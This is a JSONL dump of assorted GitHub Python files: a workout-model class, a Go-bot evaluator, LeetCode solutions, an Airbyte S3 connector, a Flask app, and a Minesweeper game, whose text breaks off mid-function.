self.id_bloque,\n            \"ejercicios\": [ejercicio.to_json() for ejercicio in self.ejercicios],\n            \"numBloque\": self.num_bloque,\n            \"series\": self.series,\n            \"creadoEn\": self.creado_en,\n            \"actualizadoEn\": self.actualizdo_en,\n        }\n\n\nclass EjercicioXBloque(db.Model):\n    __tablename__ = \"ejerciciosxbloque\"\n\n    id_ejerciciosxbloque = db.Column(\n        db.Integer,\n        db.Sequence(\"ejerciciosxbloque_id_ejerciciosxbloque_seq\"),\n        primary_key=True,\n        unique=True,\n    )\n    id_ejercicio = db.Column(db.Integer, db.ForeignKey(\"ejercicios.id_ejercicio\"))\n    id_bloque = db.Column(db.Integer, db.ForeignKey(\"bloques.id_bloque\"))\n    num_ejercicio = db.Column(db.Integer)\n    ejercicio = db.relationship(\"Ejercicio\", uselist=False)\n    # bloque = db.relationship(\"Bloque\", uselist=False)\n    repeticiones = db.Column(db.Integer)\n    carga = db.Column(db.Float)\n\n    def __init__(self, num_ejercicio, ejercicio, repeticiones, carga):\n        self.num_ejercicio = num_ejercicio\n        self.ejercicio = ejercicio\n        self.repeticiones = repeticiones\n        self.carga = carga\n\n    def __repr__(self):\n        return \"<EjercicioXBloque {}>\".format(self.id_ejerciciosxbloque)\n\n    def to_json(self):\n        return {\n            \"id\": self.id_ejerciciosxbloque,\n            \"num_ejercicio\": self.num_ejercicio,\n            \"ejercicio\": self.ejercicio.nombre,\n            \"patron\": self.ejercicio.patron.nombre,\n            \"carga\": self.carga,\n            \"repeticiones\": self.repeticiones,\n        }\n\n","repo_name":"TomasSuarezL/lacucha-backend","sub_path":"app/bloques/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6531285801","text":"# -*- coding: utf-8 -*-\nimport datetime\nfrom collections import namedtuple\n\nimport h5py\n\nfrom dlgo import agent\nfrom dlgo import scoring\nfrom dlgo.goboard_fast import GameState, Player, Point\n\n\nBOARD_SIZE = 19\nCOLS = 'ABCDEFGHJKLMNOPQRST'\nSTONE_TO_CHAR = {\n    None: '.',\n    Player.black: 'x',\n    Player.white: 'o',\n}\n\n\ndef avg(items):\n    if not items:\n        return 0.0\n    return sum(items) / float(len(items))\n\n\ndef print_board(board):\n    for row in range(BOARD_SIZE, 0, -1):\n        line = []\n        for col in range(1, BOARD_SIZE + 1):\n            stone = board.get(Point(row=row, col=col))\n            line.append(STONE_TO_CHAR[stone])\n        print('%2d %s' % (row, ''.join(line)))\n    print('   ' + COLS[:BOARD_SIZE])\n\n\nclass GameRecord(namedtuple('GameRecord', 'moves winner margin')):\n    pass\n\n\ndef name(player):\n    if player == Player.black:\n        return 'B'\n    return 'W'\n\n\ndef simulate_game(black_player, white_player):\n    moves = []\n    game = GameState.new_game(BOARD_SIZE)\n    agents = {\n        Player.black: black_player,\n        Player.white: white_player,\n    }\n    while not game.is_over():\n        next_move = agents[game.next_player].select_move(game)\n        moves.append(next_move)\n        # if next_move.is_pass:\n        #    print('%s passes' % name(game.next_player))\n        game = game.apply_move(next_move)\n\n    print_board(game.board)\n    game_result = scoring.compute_game_result(game)\n    print(game_result)\n\n    return GameRecord(\n        moves=moves,\n        winner=game_result.winner,\n        margin=game_result.winning_margin,\n    )\n\n\ndef main():\n    # parser = argparse.ArgumentParser()\n    # parser.add_argument('--agent1', required=True)\n    # parser.add_argument('--agent2', required=True)\n    # parser.add_argument('--num-games', '-n', type=int, default=10)\n    #\n    # args = parser.parse_args()\n    #\n    # agent1 = agent.load_policy_agent(h5py.File(args.agent1))\n    # agent2 = agent.load_policy_agent(h5py.File(args.agent2))\n\n    # ==================================================\n    import os\n    os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n    import tensorflow as tf\n    config = tf.compat.v1.ConfigProto()\n    config.gpu_options.per_process_gpu_memory_fraction = 0.95\n    config.gpu_options.allow_growth = True\n    config.log_device_placement = True\n    sess = tf.compat.v1.Session(config=config)\n    tf.compat.v1.keras.backend.set_session(sess)\n    # ==================================================\n    pth = '//home//nail//Code_Go//checkpoints//'\n    num_games = int(input(\"Количество игр :\"))\n    agent1 = input('Игрок(агент) №1:')\n    agent2 = input('Игрок(агент) №2:')\n    agent1 = pth + agent1+\".h5\"\n    agent2 = pth + agent2+\".h5\"\n    agent1 = agent.load_policy_agent(h5py.File(agent1, \"r\"))\n    agent2 = agent.load_policy_agent(h5py.File(agent2, \"r\"))\n\n    wins = 0\n    losses = 0\n    color1 = Player.black\n\n    for i in range(num_games):\n        print('Симуляция игры %d/%d...' % (i + 1, num_games))  # args.num_games))\n        if color1 == Player.black:\n            black_player, white_player = agent1, agent2\n            print('Агент №1 - играет Черными, Агент №2  - играет Белыми')\n        else:\n            white_player, black_player = agent1, agent2\n            print('Агент №1 - играет Белыми, Агент №2  - играет Черными')\n        game_record = simulate_game(black_player, white_player)\n        if game_record.winner == color1:\n            wins += 1\n        else:\n            losses += 1\n        color1 = color1.other\n    print('Agent 1 record: %d/%d' % (wins, wins + losses))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Nail1959/Code_Go","sub_path":"eval_pg_bot.py","file_name":"eval_pg_bot.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8877261697","text":"#!/usr/bin/env python3\n\ntask = \"\"\"\nTask:\nWrite a Python program to check whether multiple variables have the same value.\n\"\"\"\n\nprint(task)\n\na = 'a'\nb = 'a'\nc = 'a'\n\nif a == b == c:\n    print(\"Variables are the same\")","repo_name":"woodyart/py-excercises","sub_path":"basic-part-i/124.py","file_name":"124.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38210353163","text":"import requests\nimport json\nimport os\nimport sys\nimport re\n\noldDir = input(\"enter Directory\");\n\nmovieList=[]\n\napiUrl = 'http://www.omdbapi.com/?tomatoes=true&t='\n\ntry:\n\tmovieList = os.listdir(oldDir)\nexcept Exception as e:\n\tprint('No such Directory found !')\n\tsys.exit(0)\n\ndef getExactMovieName(movie):\n\t# delete everything starting with (\n\tn_movie = re.sub(r'\\(.*$', '', movie)\n\tn_movie = re.sub(r'\\d.*$', '', n_movie)\n\tn_movie = re.sub(r'\\.', ' ', n_movie)\n\treturn n_movie;\n\nfor movie in movieList:\n\ttry:\n\t\tn_movie = getExactMovieName(movie)\n\t\tprint('requesting for '+n_movie)\n\t\tresult = requests.get(apiUrl+n_movie)\n\t\tj_result = json.loads(result.text)\n\t\tif oldDir[-1] != '/':\n\t\t\toldDir+='/'\n\t\timdbRating = j_result['imdbRating']\n\t\ttomatoRating = j_result['tomatoRating']\n\t\tnewDir = oldDir+'IMDB('+imdbRating+') TOMATO('+tomatoRating+') '+n_movie+'/'\n\t\tos.mkdir(newDir)\n\t\tos.rename(oldDir+movie , newDir+movie)\n\t\twith open(newDir+'info.txt', 'w+') as fp:\n\t\t\tfp.write(result.text)\n\t\tprint('request completed for '+n_movie)\n\texcept Exception as e:\n\t\tprint(\"IMDB rating not found\")\n\n","repo_name":"joker-xyz/extra","sub_path":"ratingSys.py","file_name":"ratingSys.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20127247798","text":"from django.urls import path\nfrom .views import PeopleView, update_result, FollowView\n\napp_name=\"people\"\n\nurlpatterns = [\n    path('search', update_result, name=\"search\"),\n    path('follow/<int:id>', FollowView.as_view(), name='follow'),\n    path('', PeopleView.as_view(), name=\"index\"),\n]\n","repo_name":"vikassrivastava18/alumate_pj","sub_path":"app/people/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29406378677","text":"#encoding:utf-8\n'''\nSorted Array\n     Merge Two Sorted Arrays / Merge k Sorted Arrays\n     Median Of Two Sorted Arrays\nSubarray\n    Best Time to Buy and Sell Stocks I, II, III\n    Subarray I, II, III, IV\nTwo Pointers\n    Two sum, 3Sum, 4Sum, k Sum, 3Sum Closest\n    Partition Array\n'''\n#merge sorter array\nclass Solution:\n    '''\n    双指针法\n    '''\n    def intersect(self, nums1, nums2):\n        if len(nums1) == 0 or len(nums2) == 0:\n            return []\n        result = []\n        nums1.sort()\n        nums2.sort()\n        left = 0\n        right = 0\n        while left < len(nums1) and right < len(nums2):\n            if nums1[left] > nums2[right]:\n                right += 1\n            elif nums1[left] < nums2[right]:\n                left += 1\n            else:\n                result.append(nums1[left])\n                left += 1\n                right += 1\n        return result\n\n\n\n# 14z最长公共前缀\nclass Solution:\n    def longestCommonPrefix(self, strs):\n        if not strs:\n            return \"\"\n\n        prefix, count = strs[0], len(strs)\n        for i in range(1, count):\n            prefix = self.lcp(prefix, strs[i])\n            if not prefix:\n                break\n        return prefix\n\n    def lcp(self, str1, str2):\n        length, index = min(len(str1), len(str2)), 0\n        while index < length and str1[index] == str2[index]:\n            index += 1\n        return str1[:index]\n\n#26，27原地删除数组\n\nclass Solution:\n    def removeDuplicates(self, nums):\n        i = 0\n        for j in range(1, len(nums)):\n            if nums[j] != nums[i]:\n                i += 1\n                nums[i] = nums[j]\n        return i + 1\n\nclass Solution:\n    def removeElement(self, nums, val):\n        slow=0\n        fast=0\n        while fast<len(nums):\n            if nums[fast]!=val:\n                nums[slow]=nums[fast]\n                slow+=1\n            fast+=1\n        return slow\n\n\n#66加一\nclass Solution:\n    def plusOne(self, digits):\n        for i in range(len(digits)-1, -1, -1):\n            if digits[i] is not 9:\n                digits[i] += 1\n                return digits\n            else:\n                digits[i] = 0\n                if digits[0] is 0:\n                    digits.insert(0, 1)\n                    return digits\n\n\n#俩个数和\nclass Solution:\n    def twoSum(self, nums, target):\n        tmp = {}\n        for k, v in enumerate(nums):\n            if target - v in tmp:\n                return [tmp[target - v], k]\n            tmp[v] = k\n\n\n\n","repo_name":"zv1234/github_leetcode","sub_path":"九章算法/数组和数/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19108214047","text":"def decimalToBinary(n):\n    binary = \"\"                 # String variable is declared to append the values\n    while (n > 0):              # Looped till the value is zero\n        binary += str(n%2)\n        n = n//2\n    \n    return binary[::-1]         # Returned string is reversed so that the correct binary value is returned\n\ndef binaryToDecimal(n):         \n    decimalVal, count = 0, 0    # 2 variables are declared, one for the decimal value that would be returned and count which will incremented once           \n    while (n != 0):             # Looped through till value is zero\n        decimalVal += ((n%10) * (2 ** count))\n        count += 1\n        n = (n // 10)\n    \n    return decimalVal\n\nprint(decimalToBinary(13))\nprint(binaryToDecimal(110))","repo_name":"zeeque16/PythonProjects","sub_path":"Binary2Decimal/binary2Decimal.py","file_name":"binary2Decimal.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29380352841","text":"import threading\nimport json\n\nclass Session():\n  def __init__(cls, session_id, client_socket):\n    cls.session_id = session_id;\n    cls.client_socket = client_socket;\n    cls.context = dict();\n    cls.context_lock = threading.Lock();\n\n  # 세션 컨텍스트에 데이터 저장\n  def add_context(cls, key, value):\n    cls.context_lock.acquire();\n    cls.context[key] = value;\n    cls.context_lock.release();\n\n  # 세션 컨텍스트에서 데이터 가져오기\n  def get_context(cls, key):\n    cls.context_lock.acquire();\n    result = (False, None);\n    if key in cls.context:\n      result = (True, cls.context[key]);\n\n    cls.context_lock.release();\n    return result;\n\n  # 명시적 소켓 종료\n  def close_socket(cls):\n    cls.client_socket.close();\n\n  # 이 세션에 메시지 보내기\n  def send_message(cls, message):\n    msg = json.dumps(message);\n    print(\"session_id:\", cls.session_id, \"send message=\", msg);\n    bytes = msg.encode();\n    msg_len = len(bytes);\n\n    cls.client_socket.sendall(msg_len.to_bytes(4, byteorder=\"little\"));\n    cls.client_socket.sendall(bytes);\n","repo_name":"TaesoonPark/Cake-Server","sub_path":"session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"7066595800","text":"import json\nimport unittest\n\nfrom bootstrap.create_content import create_content_handler\n\n\nclass TestCreateContent(unittest.TestCase):\n    @staticmethod\n    def get_base_event():\n        \"\"\"\n        Sample event from https://docs.aws.amazon.com/lambda/latest/dg/lambda-services.html\n        :return: dict\n        \"\"\"\n        return {\n            \"requestContext\": {\n                \"elb\": {\n                    \"targetGroupArn\": \"arn:aws:elasticloadbalancing:us-east-2:123456789012:targetgroup/lambda-279XGJDqGZ5rsrHC2Fjr/49e9d65c45c6791a\"\n                }\n            },\n            \"httpMethod\": \"GET\",\n            \"path\": \"/lambda\",\n            \"queryStringParameters\": {\n                \"query\": \"1234ABCD\"\n            },\n            \"headers\": {\n                \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n                \"accept-encoding\": \"gzip\",\n                \"accept-language\": \"en-US,en;q=0.9\",\n                \"connection\": \"keep-alive\",\n                \"host\": \"lambda-alb-123578498.us-east-2.elb.amazonaws.com\",\n                \"upgrade-insecure-requests\": \"1\",\n                \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\",\n                \"x-amzn-trace-id\": \"Root=1-5c536348-3d683b8b04734faae651f476\",\n                \"x-forwarded-for\": \"72.12.164.125\",\n                \"x-forwarded-port\": \"80\",\n                \"x-forwarded-proto\": \"http\",\n                \"x-imforwards\": \"20\"\n            },\n            \"body\": \"\",\n            \"isBase64Encoded\": False\n        }\n\n    def test_main(self):\n        # given\n        event = TestCreateContent.get_base_event()\n        context = {\"aws_request_id\": 1111}  # https://docs.aws.amazon.com/lambda/latest/dg/python-context.html\n        # when\n        result = create_content_handler(event, context)\n        # then\n        self.assertEqual(json.loads(result[\"body\"])[\"message\"], \"Hello 1234ABCD!\")\n","repo_name":"tonkolviktor/aws-lambda-py-bootstrap","sub_path":"tests/test_create_content.py","file_name":"test_create_content.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42179515493","text":"from rest_framework import routers\nfrom django.urls import path, include\nfrom apps.managers.views import (\n    TaskView,\n    TaskDetailView,\n    MyTaskView,\n    CompletedTaskView,\n    AssignTaskToUser,\n    CompleteTaskView,\n    # CommentAddView,\n    # CommentView,\n    TimeWorkView,\n    TimeView,\n    TaskMonthView,\n    TopBiggestTimeTask,\n)\n\nrouter = routers.SimpleRouter()\nrouter.register(r'work-time', TimeWorkView)\nrouter.register(r'time', TimeView)\nrouter.register(r'task', TaskView)\n\nurlpatterns = [\n    #path('task', TaskView.as_view(), name='create-task-view'),\n    path('task/detail/<int:pk>', TaskDetailView.as_view(), name='task-info-view'),\n    path('task/top-biggest-time-task', TopBiggestTimeTask.as_view(), name='task-time-log-view'),\n    path('time-month', TaskMonthView.as_view(), name='task-time-log-view'),\n    path('mytask', MyTaskView.as_view(), name='my-task-view'),\n    path('complete', CompletedTaskView.as_view(), name='completed-task'),\n    path('add-task-to-user/<int:pk>/', AssignTaskToUser.as_view(), name=\"add-task-to-user\"),\n    path('complete/<int:pk>', CompleteTaskView.as_view(), name=\"complete-task-view\"),\n    path('test/', include(\"apps.managers.GenericTest.urls\"))\n\n]\nurlpatterns += router.urls\n\n","repo_name":"EIntership/Milestone-4","sub_path":"apps/managers/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21568326620","text":"class Solution(object):\n    def flipMatchVoyage(self, root, voyage):\n        \"\"\"\n        :type root: TreeNode\n        :type voyage: List[int]\n        :rtype: List[int]\n        \"\"\"\n        self.ans = []\n        self.flag = True\n        def dfs(r):\n            # 如果根节点存在 并且flag为true\n            if r and self.flag:\n                #如果voyage为空 或 当前树值无法匹配数列首元素，flag=false\n                if not voyage or r.val != voyage.pop(0):    \n                    self.flag = False\n                #如果两子树都存在且右子树等于数列的首元素，就需要交换左右子树\n                elif r.left and r.right and r.right.val == voyage[0]:   \n                    self.ans += [r.val]\n                    dfs(r.right)\n                    dfs(r.left)\n                # 如果两个子树都存在且左子树等于数列首元素，不需要交换左右子树，继续向下递归\n                else:                                       \n                    dfs(r.left)\n                    dfs(r.right)\n        dfs(root)\n        return self.ans if self.flag else [-1]\n","repo_name":"bingli8802/leetcode","sub_path":"0971_Flip_Binary_Tree_To_Match_Preorder.py","file_name":"0971_Flip_Binary_Tree_To_Match_Preorder.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13114703024","text":"import numpy as np\nfrom abc import abstractmethod\n\nfrom app.styles.utils import rootspace\n\n\nclass SpiralBase:\n    def __init__(self, step: float=0.0063) -> None:\n        self._step = step\n        self._num_points = self._calc_num_poins(self._step)\n\n    def _get_spiral_points(self) -> np.array:\n        b = self._step / np.pi\n        a = b\n        r_max = 0.45\n        phi_max = (r_max - a) / b\n        phi = rootspace(0, phi_max, self._num_points, power=1.9)\n        r = (a + b * phi)\n\n        x = r * np.cos(phi)\n        y = r * np.sin(phi)\n\n        points = np.hstack([x.reshape(-1, 1), y.reshape(-1, 1)])\n        return points\n    \n    def _get_envelope(self, image: np.array, spiral_points: np.array) -> np.array:\n        scale = min(image.shape[:2])\n        offset = scale // 2\n        px_points = np.intp(spiral_points * scale + offset)\n        max_width = int(self._step * scale / 2.)\n\n        weights = []\n\n        for point in px_points:\n            x, y = point\n            mean_color = np.mean(image[y - max_width:y + max_width + 1, x - max_width:x + max_width + 1])\n            weights.append(mean_color)\n\n        return np.array(weights) / max(weights)\n    \n    @abstractmethod\n    def transform_image(image: np.array) -> np.array:\n        pass\n\n    def _calc_num_poins(self, step: float) -> int:\n        return int(1 / step * 2_000)\n","repo_name":"wowMalow/Image2VectorApp","sub_path":"app/styles/spiral_base.py","file_name":"spiral_base.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20214150941","text":"from typing import Any, Dict, Mapping, Optional\n\nfrom airbyte_cdk.config_observation import emit_configuration_as_airbyte_control_message\nfrom airbyte_cdk.models import ConnectorSpecification\nfrom airbyte_cdk.sources.file_based.file_based_source import FileBasedSource\nfrom airbyte_cdk.utils import is_cloud_environment\nfrom source_s3.source import SourceS3Spec\nfrom source_s3.v4.legacy_config_transformer import LegacyConfigTransformer\n\n_V3_DEPRECATION_FIELD_MAPPING = {\n    \"dataset\": \"streams.name\",\n    \"format\": \"streams.format\",\n    \"path_pattern\": \"streams.globs\",\n    \"provider\": \"bucket, aws_access_key_id, aws_secret_access_key and endpoint\",\n    \"schema\": \"streams.input_schema\",\n}\n\n\nclass SourceS3(FileBasedSource):\n    def read_config(self, config_path: str) -> Mapping[str, Any]:\n        \"\"\"\n        Used to override the default read_config so that when the new file-based S3 connector processes a config\n        in the legacy format, it can be transformed into the new config. This happens in entrypoint before we\n        validate the config against the new spec.\n        \"\"\"\n        config = super().read_config(config_path)\n        if not self._is_v4_config(config):\n            parsed_legacy_config = SourceS3Spec(**config)\n            converted_config = LegacyConfigTransformer.convert(parsed_legacy_config)\n            emit_configuration_as_airbyte_control_message(converted_config)\n            return converted_config\n        return config\n\n    def spec(self, *args: Any, **kwargs: Any) -> ConnectorSpecification:\n        s3_spec = SourceS3Spec.schema()\n        s4_spec = self.spec_class.schema()\n\n        if s3_spec[\"properties\"].keys() & s4_spec[\"properties\"].keys():\n            raise ValueError(\"Overlapping properties between V3 and V4\")\n\n        for v3_property_key, v3_property_value in s3_spec[\"properties\"].items():\n            s4_spec[\"properties\"][v3_property_key] = v3_property_value\n            s4_spec[\"properties\"][v3_property_key][\"airbyte_hidden\"] = True\n            s4_spec[\"properties\"][v3_property_key][\"order\"] += 100\n            s4_spec[\"properties\"][v3_property_key][\"description\"] = (\n                SourceS3._create_description_with_deprecation_prefix(_V3_DEPRECATION_FIELD_MAPPING.get(v3_property_key, None))\n                + s4_spec[\"properties\"][v3_property_key][\"description\"]\n            )\n            self._clean_required_fields(s4_spec[\"properties\"][v3_property_key])\n\n        if is_cloud_environment():\n            s4_spec[\"properties\"][\"endpoint\"].update(\n                {\n                    \"description\": \"Endpoint to an S3 compatible service. Leave empty to use AWS. \"\n                    \"The custom endpoint must be secure, but the 'https' prefix is not required.\",\n                    \"pattern\": \"^(?!http://).*$\",  # ignore-https-check\n                }\n            )\n\n        return ConnectorSpecification(\n            documentationUrl=self.spec_class.documentation_url(),\n            connectionSpecification=s4_spec,\n        )\n\n    def _is_v4_config(self, config: Mapping[str, Any]) -> bool:\n        return \"streams\" in config\n\n    @staticmethod\n    def _clean_required_fields(v3_field: Dict[str, Any]) -> None:\n        \"\"\"\n        Not having V3 fields root level as part of the `required` field is not enough as the platform will create empty objects for those.\n        For example, filling all non-hidden fields from the form will create a config like:\n        ```\n        {\n          <...>\n          \"provider\": {},\n          <...>\n        }\n        ```\n\n        As the field `provider` exists, the JSON validation will be applied and as `provider.bucket` is needed, the validation will fail\n        with the following error:\n        ```\n          \"errors\": {\n            \"connectionConfiguration\": {\n              \"provider\": {\n                \"bucket\": {\n                  \"message\": \"form.empty.error\",\n                  \"type\": \"required\"\n                }\n              }\n            }\n          }\n        ```\n\n        Hence, we need to make any V3 nested fields not required.\n        \"\"\"\n        if \"properties\" not in v3_field:\n            return\n\n        v3_field[\"required\"] = []\n        for neste_field in v3_field[\"properties\"]:\n            SourceS3._clean_required_fields(neste_field)\n\n    @staticmethod\n    def _create_description_with_deprecation_prefix(new_fields: Optional[str]) -> str:\n        if new_fields:\n            return f\"Deprecated and will be removed soon. Please do not use this field anymore and use {new_fields} instead. \"\n        return \"Deprecated and will be removed soon. Please do not use this field anymore. \"\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-integrations/connectors/source-s3/source_s3/v4/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"}
{"seq_id":"22845815717","text":"def solution(enter, leave):\n    answer = []\n    for idx, i in enumerate(enter):\n        cnt = 0\n        li = []\n        check = leave.index(i)\n        for idx2, j in enumerate(leave):\n            check2 = enter.index(j)\n            if idx2 >= idx and (idx2 < check or idx > check):\n                cnt += 1\n                li.append(check2)\n            try:\n                if check2 > idx and max(li) > check2:\n                    cnt += 1\n            except:\n                pass\n        \n        answer.append(cnt)\n\n\n\n    return answer\n\n\n\nenter = [1,4,2,3]\t\nleave = [2,1,3,4]\t\nprint(solution(enter, leave))","repo_name":"chonam93/chonam","sub_path":"programmers/[programmers]weekly_challenge_7th.py","file_name":"[programmers]weekly_challenge_7th.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74606719460","text":"import json\nfrom flask import Flask, render_template\n\napp = Flask(__name__, static_folder='static', static_url_path='')\n\n\n@app.route(\"/\")\ndef start_page():\n    decisions = [decision_name for decision_name,\n                 _ in load_decisions().items()]\n\n    return render_template('start.html', decisions=decisions)\n\n\n@app.route(\"/article/<string:id>\")\ndef decision_page(id: str):\n    print(id)\n    decisions = load_decisions()\n    decision = decisions[id]\n\n    # load matching paragraphs:\n    paragraphs = decision['paragraphs']\n    with open('../comparison_values.json', 'r', encoding='utf-8') as file:\n        comparison_data = json.load(file)\n    for paragraph in paragraphs:\n        hash = __correct_hash(paragraph['hash'])\n\n        if hash in comparison_data:\n            matches: dict = comparison_data[hash]\n            paragraph['matches'] = []\n            paragraph['matches'] = matches\n            for match, match_rate in matches.items():\n                for decision_name, dec in decisions.items():\n                    for par in dec['paragraphs']:\n                        if __correct_hash(par['hash']) == match:\n                            matches[match] = {\n                                'decision': decision_name,\n                                'id': decision_name.replace(' ', '-'),\n                                'original': par['original'], \n                                'confidence': match_rate,\n                                'index': par['index']}\n                pass\n            print('gugus!!!!!!!!!')\n\n    return render_template('decision.html', decision=id, decision_object=decision)\n\n\ndef load_decisions() -> dict:\n    with open('static/json_data.json', 'r', encoding='utf-8') as file:\n        decision = json.load(file)\n    return decision\n\n\ndef __correct_hash(hash: str) -> str:\n    \"\"\"Just in case the binary arrays haven't been saved\n    correctly as a string\"\"\"\n\n    if hash[:2] == \"b'\" and hash[-1] == \"'\":\n        hash = hash[2:-1]\n    return hash\n\n\napp.run(debug=True)\n","repo_name":"ilyaskurikhin/OpenLegal","sub_path":"bausteine_frontend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71494801700","text":"from tkinter import *\r\nfrom tkinter.messagebox import *\r\nfrom random import randint\r\nfrom collections import OrderedDict\r\nfrom operator import itemgetter \r\nclass Case:\r\n\r\n#On définit un objet avec des attributs comme un abscisse, une ordonné, un type(Bombe ou pas) et un numéro. On peut noter que l'absisse et l'ordonne sont maintenant inutile mais nous avons décidé de les laisser pour essayer de vous montrer la démarche que nous avons suivi.  \r\n\r\n    def __init__(self, compteur, abse, Ord, Type):\r\n   \r\n        self.abse = abse\r\n        self.ord = Ord \r\n        self.type = Type\r\n        self.compteur = compteur\r\n        self.etat = \"caché\"\r\n        \r\n    \r\ndef Change(Case, Type):\r\n    Bse_donnee[Case].type = Type\r\n\r\ndef SETBOMBE(nombredebombes):\r\n    \r\n#Fonction plaçant les bombes dans la grille\r\n#La liste d'interdits est une liste contenant les cases où les bombes ont déjà été placées, pour éviter de les superposer\r\n    \r\n\r\n    for loop in range(nombredebombes):\r\n        x = randint(0,((LargeurGrille*LargeurGrille) - 1))\r\n        while x in Bse_Bombe:\r\n            print(\"Bombe répétée:\", x)\r\n            x = randint(0,((LargeurGrille*LargeurGrille) - 1))\r\n        Bse_donnee[x].type = \"Bombe\"\r\n        Bse_Bombe.append(x)\r\n\r\ndef ActualiserUneCaseAutourDUneBombe(NumeroCase, NombreAAjouter):\r\n\r\n#Fonction servant plusieurs fois dans les fonctions suivantes\r\n#Pour chaque case ayant une bombe, cette fonction ajoute \"+1\" aux cases adjacentes (pour la valeur du nombre de bombes adjacentes)\r\n#Sert aussi dans le bouton de triche\r\n    \r\n    if Bse_donnee[NumeroCase+NombreAAjouter].type != \"Bombe\":\r\n        Bse_donnee[NumeroCase+NombreAAjouter].type += 1\r\n        \r\n\r\n#Les fonctions suivantes traient à part les cas des bords du tableau\r\n\r\ndef lineUp(numero, case):\r\n    if case in LINEUP:\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille-1)\r\n           \r\ndef columnRight(numero, case):\r\n    if case in LINERIGHT:\r\n        ActualiserUneCaseAutourDUneBombe(case,-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille-1)\r\n\r\ndef columnLeft(numero, case):\r\n    if case in LINELEFT:\r\n        ActualiserUneCaseAutourDUneBombe(case,+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille+1)\r\n        \r\ndef lineDown(numero, case):\r\n    if case in LINEDOWN:\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille+1)\r\n        \r\ndef cornerRightU(numero, case):\r\n    if case == CORNERRIGHTU:\r\n        ActualiserUneCaseAutourDUneBombe(case,-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille)\r\n        \r\ndef cornerLeftU(numero, case):\r\n    if case == CORNERLEFTU:\r\n        ActualiserUneCaseAutourDUneBombe(case,+1)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,+LargeurGrille+1)\r\n        \r\ndef cornerRightD(numero, case):\r\n    if case == CORNERRIGHTD:\r\n        ActualiserUneCaseAutourDUneBombe(case,-1)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille)\r\n        ActualiserUneCaseAutourDUneBombe(case,-LargeurGrille-1)\r\n        \r\ndef cornerLeftD(numero, case):\r\n    if case == CORNERLEFTD:\r\n        ActualiserUneCaseAutourDUneBombe(case,+1)\r\n        